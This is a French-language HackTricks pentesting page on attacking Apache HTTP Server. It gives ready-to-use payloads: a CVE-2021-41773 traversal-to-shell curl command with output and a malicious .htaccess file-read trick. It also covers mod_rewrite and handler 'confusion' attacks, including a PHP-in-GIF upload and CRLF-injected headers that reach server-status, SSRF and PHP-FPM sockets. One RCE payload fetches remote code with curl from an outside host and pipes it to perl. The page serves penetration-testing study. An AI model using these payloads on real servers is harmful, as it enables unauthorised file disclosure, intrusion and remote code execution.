Apache

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Extensions PHP exécutables

Vérifiez quelles extensions sont exécutées par le serveur Apache. Pour les rechercher, vous pouvez exécuter :

grep -R -B1 "httpd-php" /etc/apache2

De plus, quelques endroits oĂč vous pouvez trouver cette configuration sont :

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

LFI via .htaccess ErrorDocument file provider (ap_expr)

Si vous pouvez contrĂŽler le .htaccess d’un rĂ©pertoire et qu’AllowOverride inclut FileInfo pour ce chemin, vous pouvez transformer les rĂ©ponses 404 en lectures arbitraires de fichiers locaux en utilisant la fonction ap_expr file() Ă  l’intĂ©rieur d’ErrorDocument.

  • Exigences :
  • Apache 2.4 avec expression parser (ap_expr) activĂ© (par dĂ©faut en 2.4).
  • Le vhost/dir doit permettre Ă  .htaccess de dĂ©finir ErrorDocument (AllowOverride FileInfo).
  • L’utilisateur worker d’Apache doit avoir les permissions de lecture sur le fichier cible.

.htaccess payload:

# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}

Se dĂ©clenche en demandant n’importe quel non-existing path sous ce directory, par exemple lors de l’abus de userdir-style hosting :

curl -s http://target/~user/does-not-exist | sed -n '1,20p'

Notes et conseils :

  • Seuls les chemins absolus fonctionnent. Le contenu est renvoyĂ© comme corps de rĂ©ponse par le handler 404.
  • Les permissions de lecture effectives sont celles de l’utilisateur Apache (typiquement www-data/apache). Vous ne pourrez pas lire /root/* ni /etc/shadow dans des configurations par dĂ©faut.
  • MĂȘme si .htaccess appartient Ă  root, si le rĂ©pertoire parent appartient au tenant et permet le renommage, il se peut que vous puissiez renommer le .htaccess original et tĂ©lĂ©verser votre propre remplacement via SFTP/FTP :
  • rename .htaccess .htaccess.bk
  • put your malicious .htaccess
  • Utilisez cela pour lire le code source de l’application sous DocumentRoot ou les chemins de config vhost afin de rĂ©cupĂ©rer des secrets (DB creds, API keys, etc.).

Confusion Attack

Ces types d’attaques ont Ă©tĂ© introduits et documentĂ©s by Orange in this blog post et ce qui suit en est un rĂ©sumĂ©. L’attaque dite “confusion” exploite essentiellement le fait que les dizaines de modules qui fonctionnent ensemble pour crĂ©er un Apache ne sont pas parfaitement synchronisĂ©s : si certains d’entre eux modifient des donnĂ©es inattendues, cela peut provoquer une vulnĂ©rabilitĂ© dans un module ultĂ©rieur.

Filename Confusion

Truncation

Le mod_rewrite tronque le contenu de r->filename aprĂšs le caractĂšre ? (modules/mappers/mod_rewrite.c#L4141). Ce n’est pas totalement incorrect car la plupart des modules traiteront r->filename comme une URL. Mais dans d’autres cas, cela sera traitĂ© comme un chemin de fichier, ce qui poserait un problĂšme.

  • Path Truncation

Il est possible d’abuser de mod_rewrite comme dans l’exemple de rĂšgle suivant pour accĂ©der Ă  d’autres fichiers du systĂšme de fichiers, en supprimant la derniĂšre partie du chemin attendu en ajoutant simplement un ? :

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
  • Mislead RewriteFlag Assignment

Dans la rĂšgle de réécriture suivante, tant que l’URL se termine par .php elle sera traitĂ©e et exĂ©cutĂ©e en tant que php. Par consĂ©quent, il est possible d’envoyer une URL qui se termine par .php aprĂšs le caractĂšre ? tout en chargeant dans le chemin un type de fichier diffĂ©rent (comme une image) contenant du code php malveillant :

RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

Il est possible d’accĂ©der Ă  des fichiers auxquels l’utilisateur ne devrait pas avoir accĂšs, mĂȘme si l’accĂšs devrait ĂȘtre refusĂ© par des configurations comme :

<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

Cela s’explique parce que, par dĂ©faut, PHP-FPM recevra les URLs se terminant par .php, comme http://server/admin.php%3Fooo.php et parce que PHP-FPM supprime tout ce qui suit le caractĂšre ?, l’URL prĂ©cĂ©dente permettra de charger /admin.php mĂȘme si la rĂšgle prĂ©cĂ©dente l’interdisait.

Confusion autour de DocumentRoot

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

Un fait amusant Ă  propos d’Apache est que la réécriture prĂ©cĂ©dente essaiera d’accĂ©der au fichier Ă  la fois depuis le documentRoot et depuis root. Donc, une requĂȘte vers https://server/abouth.html vĂ©rifiera le fichier dans /var/www/html/about.html et /about.html dans le systĂšme de fichiers. Ce qui peut essentiellement ĂȘtre abusĂ© pour accĂ©der Ă  des fichiers dans le systĂšme de fichiers.

Divulgation du code source cÎté serveur

  • Divulguer le code source CGI

Il suffit d’ajouter %3F à la fin pour leak le code source d’un module cgi :

curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
  • Disclose PHP Source Code

Si un serveur possĂšde plusieurs domaines, dont l’un est un domaine statique, cela peut ĂȘtre exploitĂ© pour traverser le systĂšme de fichiers et leak php code:

# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

Manipulation des gadgets locaux

Le principal problĂšme de l’attaque prĂ©cĂ©dente est que, par dĂ©faut, la plupart des accĂšs au systĂšme de fichiers seront refusĂ©s comme dans Apache HTTP Server’s configuration template:

<Directory />
AllowOverride None
Require all denied
</Directory>

Cependant, les systĂšmes d’exploitation Debian/Ubuntu autorisent par dĂ©faut /usr/share :

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

Par consĂ©quent, il serait possible d’abuser des fichiers situĂ©s dans /usr/share dans ces distributions.

Gadget local pour divulgation d’informations

  • Apache HTTP Server avec websocketd peut exposer le script dump-env.php Ă  /usr/share/doc/websocketd/examples/php/, ce qui peut leak des variables d’environnement sensibles.
  • Des serveurs avec Nginx ou Jetty peuvent exposer des informations sensibles d’applications web (par ex., web.xml) via leurs rĂ©pertoires web par dĂ©faut placĂ©s sous /usr/share :
  • /usr/share/nginx/html/
  • /usr/share/jetty9/etc/
  • /usr/share/jetty9/webapps/

Gadget local vers XSS

  • Sur Ubuntu Desktop avec LibreOffice installĂ©, exploiter la fonctionnalitĂ© de changement de langue des fichiers d’aide peut conduire Ă  du Cross-Site Scripting (XSS). Manipuler l’URL Ă  /usr/share/libreoffice/help/help.html peut rediriger vers des pages malveillantes ou des versions plus anciennes via une RewriteRule non sĂ©curisĂ©e.

Gadget local vers LFI

  • Si PHP ou certains packages front-end tels que JpGraph ou jQuery-jFeed sont installĂ©s, leurs fichiers peuvent ĂȘtre exploitĂ©s pour lire des fichiers sensibles comme /etc/passwd :
  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
  • /usr/share/javascript/jquery-jfeed/proxy.php
  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Gadget local vers SSRF

  • L’utilisation de magpie_debug.php de MagpieRSS Ă  /usr/share/php/magpierss/scripts/magpie_debug.php peut facilement crĂ©er une vulnĂ©rabilitĂ© SSRF, ouvrant la voie Ă  d’autres exploits.

Gadget local vers RCE

  • Les opportunitĂ©s d’exĂ©cution de code Ă  distance (RCE) sont nombreuses, avec des installations vulnĂ©rables comme une version obsolĂšte de PHPUnit ou phpLiteAdmin. Celles-ci peuvent ĂȘtre exploitĂ©es pour exĂ©cuter du code arbitraire, illustrant le potentiel Ă©tendu de la manipulation de gadgets locaux.

Jailbreak depuis des gadgets locaux

Il est aussi possible de faire un jailbreak à partir des dossiers autorisés en suivant des symlinks générés par des logiciels installés dans ces dossiers, tels que :

  • Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
  • Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
  • Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
  • MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
  • SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

De plus, en abusant des symlinks, il a Ă©tĂ© possible d’obtenir une RCE dans Redmine.

Confusion des handlers

Cette attaque exploite le chevauchement fonctionnel entre les directives AddHandler et AddType, qui peuvent toutes deux ĂȘtre utilisĂ©es pour activer le traitement PHP. À l’origine, ces directives affectaient diffĂ©rents champs (r->handler et r->content_type respectivement) dans la structure interne du serveur. Cependant, Ă  cause d’un code hĂ©ritĂ©, Apache traite ces directives de maniĂšre interchangeable dans certaines conditions, en convertissant r->content_type en r->handler si le premier est dĂ©fini et le second ne l’est pas.

De plus, dans Apache HTTP Server (server/config.c#L420), si r->handler est vide avant l’exĂ©cution de ap_run_handler(), le serveur utilise r->content_type comme handler, rendant effectivement AddType et AddHandler identiques en effet.

Écraser le handler pour divulguer le code source PHP

Dans cette prĂ©sentation, une vulnĂ©rabilitĂ© a Ă©tĂ© exposĂ©e oĂč un Content-Length incorrect envoyĂ© par un client peut amener Apache Ă  retourner par erreur le code source PHP. Cela Ă©tait dĂ» Ă  un problĂšme de gestion d’erreur avec ModSecurity et l’Apache Portable Runtime (APR), oĂč une double rĂ©ponse conduit Ă  Ă©craser r->content_type en text/html.
Parce que ModSecurity ne gĂšre pas correctement les valeurs de retour, il retournerait le code PHP au lieu de l’interprĂ©ter.

Écraser le handler vers XXXX

TODO: Orange n’a pas encore divulguĂ© cette vulnĂ©rabilitĂ©

Invoquer des handlers arbitraires

Si un attaquant parvient Ă  contrĂŽler l’en-tĂȘte Content-Type dans une rĂ©ponse serveur, il pourra invoquer des handlers de modules arbitraires. Cependant, au moment oĂč l’attaquant contrĂŽle cela, la majeure partie du traitement de la requĂȘte sera dĂ©jĂ  effectuĂ©e. Il est toutefois possible de relancer le processus de requĂȘte en abusant de l’en-tĂȘte Location car si le Status retournĂ© est 200 et que l’en-tĂȘte Location commence par /, la rĂ©ponse est traitĂ©e comme une redirection cĂŽtĂ© serveur et doit ĂȘtre retraitĂ©e

Selon RFC 3875 (spécification sur CGI) dans Section 6.2.2 il est défini le comportement de Local Redirect Response :

Le script CGI peut renvoyer un chemin URI et une chaĂźne de requĂȘte (‘local-pathquery’) pour une ressource locale dans un champ d’en-tĂȘte Location. Cela indique au serveur qu’il doit retraiter la requĂȘte en utilisant le chemin spĂ©cifiĂ©.

Par consĂ©quent, pour rĂ©aliser cette attaque, l’une des vulnĂ©rabilitĂ©s suivantes est nĂ©cessaire :

  • CRLF Injection in the CGI response headers
  • SSRF with complete control of the response headers

Handler arbitraire vers divulgation d’informations

Par exemple /server-status ne devrait ĂȘtre accessible qu’en local :

<Location /server-status>
SetHandler server-status
Require local
</Location>

Il est possible d’y accĂ©der en dĂ©finissant le Content-Type sur server-status et l’en-tĂȘte Location commençant par /.

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

Du Handler arbitraire au SSRF complet

Redirection vers mod_proxy pour accĂ©der Ă  n’importe quel protocole sur n’importe quelle URL :

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

Cependant, l’en-tĂȘte X-Forwarded-For est ajoutĂ©, empĂȘchant l’accĂšs aux points de terminaison des mĂ©tadonnĂ©es cloud.

Handler arbitraire pour accéder au Unix Domain Socket local

Accéder au Unix Domain Socket local de PHP-FPM pour exécuter une backdoor PHP située dans /tmp/ :

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

Arbitrary Handler to RCE

L’image officielle PHP Docker inclut PEAR (Pearcmd.php), un outil de gestion de paquets PHP en ligne de commande, qui peut ĂȘtre abusĂ© pour obtenir RCE:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Consultez Docker PHP LFI Summary, écrit par Phith0n pour les détails de cette technique.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks